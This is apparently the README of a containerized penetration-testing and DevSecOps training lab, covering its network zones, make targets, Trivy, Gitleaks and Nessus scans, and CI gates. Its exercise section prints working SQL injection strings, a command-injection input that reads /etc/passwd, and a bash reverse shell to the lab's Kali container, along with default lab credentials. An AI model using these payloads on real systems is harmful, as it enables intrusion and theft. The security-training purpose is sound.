An enterprise-grade, containerized cybersecurity laboratory and automated DevSecOps testing framework. Engineered on Docker Compose with strictly segmented Zero-Trust IPAM networks, granular Linux capabilities (cap_add), automated static/dynamic security analysis (SCA, IaC, Secrets), and interactive penetration testing workspaces.
The infrastructure implements strict network isolation across three distinct IPAM subnets to mirror production Zero-Trust enterprise perimeters:
graph TD
subgraph HOST["Host Machine (Workstation)"]
UI_DVWA["HTTP 127.0.0.1:8080"]
UI_NESSUS["HTTPS 127.0.0.1:8834"]
end
subgraph KALI_NET["Zone 1: KALI-NET (172.20.10.0/24) - Attacker Perimeter"]
KALI["kali-devsecops\n(Hardened: NET_ADMIN, NET_RAW)"]
end
subgraph VICTIM_NET["Zone 2: VICTIM-NET (172.20.20.0/24) - Target Perimeter"]
DVWA["dvwa-vuln\n(Web Application Target)"]
META["metasploitable3\n(Network & Daemon Target)"]
end
subgraph AUDIT_NET["Zone 3: AUDIT-NET (172.20.30.0/24) - Telemetry & Security"]
TRIVY["trivy-scanner\n(Static SCA & IaC Auditor)"]
NESSUS["nessus\n(Vulnerability Scanner)"]
end
%% Network Connections
KALI -.->|Attacker Channel| VICTIM_NET
AUDIT_NET -.->|Audit & Telemetry Channel| VICTIM_NET
%% Host Bindings
UI_DVWA ===|Loopback Only| DVWA
UI_NESSUS ===|Loopback Only| NESSUS
classDef host fill:#2d3748,stroke:#cbd5e0,stroke-width:2px,color:#fff;
classDef attacker fill:#742a2a,stroke:#e53e3e,stroke-width:2px,color:#fff;
classDef target fill:#7b341e,stroke:#dd6b20,stroke-width:2px,color:#fff;
classDef audit fill:#1a365d,stroke:#3182ce,stroke-width:2px,color:#fff;
class HOST host;
class KALI_NET,KALI attacker;
class VICTIM_NET,DVWA,META target;
class AUDIT_NET,TRIVY,NESSUS audit;
| Zone | Subnet | Gateway | Purpose & Security Controls | Attached Containers |
|---|---|---|---|---|
kali-net |
172.20.10.0/24 |
172.20.10.1 |
Attacker Perimeter: Isolated offensive tooling. Hardened container without privileged: true, constrained to NET_ADMIN and NET_RAW Linux capabilities for raw packet handling. |
kali-devsecops |
victim-net |
172.20.20.0/24 |
172.20.20.1 |
Target Perimeter: Dedicated zone for vulnerable workloads. No direct exposure to public network interfaces. | dvwa-vuln, metasploitable3, kali-devsecops, nessus, trivy-scanner |
audit-net |
172.20.30.0/24 |
172.20.30.1 |
Telemetry & Audit: Static code analysis, container image vulnerability scans (Trivy), and network vulnerability assessments (Nessus). | nessus, trivy-scanner |
Deploy the complete multi-tier lab and launch an interactive attack console with three standard commands:
# 1. Clone the repository and navigate to the project directory
git clone https://github.com/Haiagari/devsecops-pentest-lab.git
cd devsecops-pentest-lab
# 2. Run preflight checks and deploy the multi-tier container fleet
make up
# 3. Verify real-time network topology and IP address assignments
make status
# 4. Attach directly to the hardened Kali Linux attacker workspace
make kali- DVWA Web Application:
http://127.0.0.1:8080— Credentials:admin/password(Click Create / Reset Database upon first access) - Tenable Nessus UI:
https://127.0.0.1:8834— Configured via.env(admin/ChangeMe123!) - Kali Workspace CLI: Executed via
make kalior./scripts/lab.sh kali
The automation suite exposes standard make targets mapped directly to underlying orchestration shell scripts:
| Target | Description | Practical Example |
|---|---|---|
make help |
Display automated target reference with colored help outputs | make help |
make check |
Run preflight dependency and permission validations (Docker, Compose, socket) | make check |
make up |
Initialize .env, validate preflight, and start all containers in detached mode |
make up |
make down |
Gracefully stop containers and teardown segmented bridge networks | make down |
make status |
Query Docker API to print live status, IPAM subnets, and active ports | make status |
make kali |
Attach to interactive Bash shell inside kali-devsecops |
make kali |
make scan-secrets |
Run Gitleaks scanner across repository commits and working tree | make scan-secrets |
make scan-iac |
Audit docker-compose.yml for CIS Benchmark violations using Trivy |
make scan-iac |
make scan-containers |
Scan container base images for CVEs and generate markdown audit summaries | make scan-containers |
make scan-all |
Execute complete DevSecOps scanning suite (Secrets, IaC, Containers) | make scan-all |
make clean |
Deep sanitation: purge containers, orphan networks, volumes, and report artifacts | make clean |
Objective: Perform network mapping and service version enumeration from the attacker container against the isolated victim perimeter.
- Spawn the attacker console:
make kali
- Discover live hosts on the target subnet (
172.20.20.0/24):nmap -sn 172.20.20.0/24
- Execute SYN Stealth Scan with OS fingerprinting and service banner grabbing against Metasploitable 3:
nmap -sS -sV -sC -O -T4 172.20.20.0/24 -oN /root/victim-subnet-scan.txt
- Verify open attack vectors: Inspect active services across standard ports (
21/tcpFTP,22/tcpSSH,80/tcpHTTP,445/tcpSMB,3306/tcpMySQL).
Objective: Exploit OWASP Top 10 vulnerabilities in DVWA via browser and automated CLI payloads.
- Navigate to
http://127.0.0.1:8080and log in (admin/password). - Set DVWA Security level to Low in the DVWA Security tab.
- Exploit SQL Injection (Error-Based & Union-Based):
- In the SQL Injection module, submit ID:
1' OR '1'='1 - Extract database schema and usernames:
1' UNION SELECT null, concat(user, ':', password) FROM users #
- In the SQL Injection module, submit ID:
- Exploit OS Command Injection:
- In the Command Injection module, execute arbitrary commands via the IP parameter:
127.0.0.1; uname -a; id; cat /etc/passwd
- In the Command Injection module, execute arbitrary commands via the IP parameter:
- Reverse Shell Trigger from Kali Workspace:
- On Kali (
make kali), listen on port 4444:nc -lvnp 4444
- In DVWA Command Injection input:
127.0.0.1; bash -i >& /dev/tcp/172.20.10.2/4444 0>&1
- On Kali (
Objective: Run local static application security testing, container software composition analysis, and IaC compliance checks.
- Audit Infrastructure as Code:
Checks
make scan-iac
docker-compose.ymlagainst CIS Docker Benchmarks, detecting privileged escalation flags, missing healthchecks, and unrestricted socket access. - Scan Credentials and High-Entropy Secrets:
Uses Gitleaks regex patterns to verify no private keys, JWT secrets, or cloud tokens are committed.
make scan-secrets
- Execute Container Image Vulnerability Scan (SCA):
Generates both structured JSON data and formatted markdown at
make scan-containers
reports/container-scan-summary.mddetailing CRITICAL and HIGH severity CVEs.
Objective: Validate that CI/CD quality gates prevent vulnerable configurations from merging into production branches.
- Trigger Automated Multi-Stage GitHub Actions Workflow:
- Every
git pushorpull_requestagainstmainruns.github/workflows/security.yml.
- Every
- Four-Stage Verification Lifecycle:
- Stage 1 (Gitleaks): Blocks commit if hardcoded secrets are discovered.
- Stage 2 (Trivy IaC): Audits Docker Compose configuration syntax and security settings.
- Stage 3 (Trivy SCA & SARIF): Analyzes container images and uploads findings via
github/codeql-action/upload-sarif@v3. - Stage 4 (ShellCheck): Enforces POSIX compliance and safe variable expansion across all scripts.
- Review SARIF Findings:
- View uploaded vulnerability reports under the repository's Security > Code scanning alerts tab.
- Granular Linux Capabilities: Replaced dangerous
privileged: trueflags on Kali Linux with granular capabilitiescap_add: [NET_ADMIN, NET_RAW], preventing container escape while retaining raw packet manipulation capabilities. - Localhost Socket Binding: All published services (DVWA on
127.0.0.1:8080, Nessus on127.0.0.1:8834) bind exclusively to loopback addresses, preventing accidental network exposure. - Secret Externalization: Passwords and environment credentials are separated into
.env/.env.exampletemplates with dynamic fallback interpolation${NESSUS_PASSWORD:-ChangeMe123!}. - Automated CI/CD Gates: GitHub Actions enforces Gitleaks, Trivy IaC, Trivy SCA (with SARIF reporting to GitHub Security tab), and ShellCheck script validation on every pull request.
- 🛡️ DevSecOps Pipeline Directives — CI/CD architecture, trigger rules, and SARIF integration.
- 🚀 Educational Use Cases & Training Guide — Academic and Red/Blue team training workflows.
- 📋 Vulnerability Audit Report — Detailed vulnerability assessment and CVE breakdown.
- 📄 License (MIT) — Open-source license terms.
Author & Maintainer: Haiagari
Educational & DevSecOps Research Platform 🛡️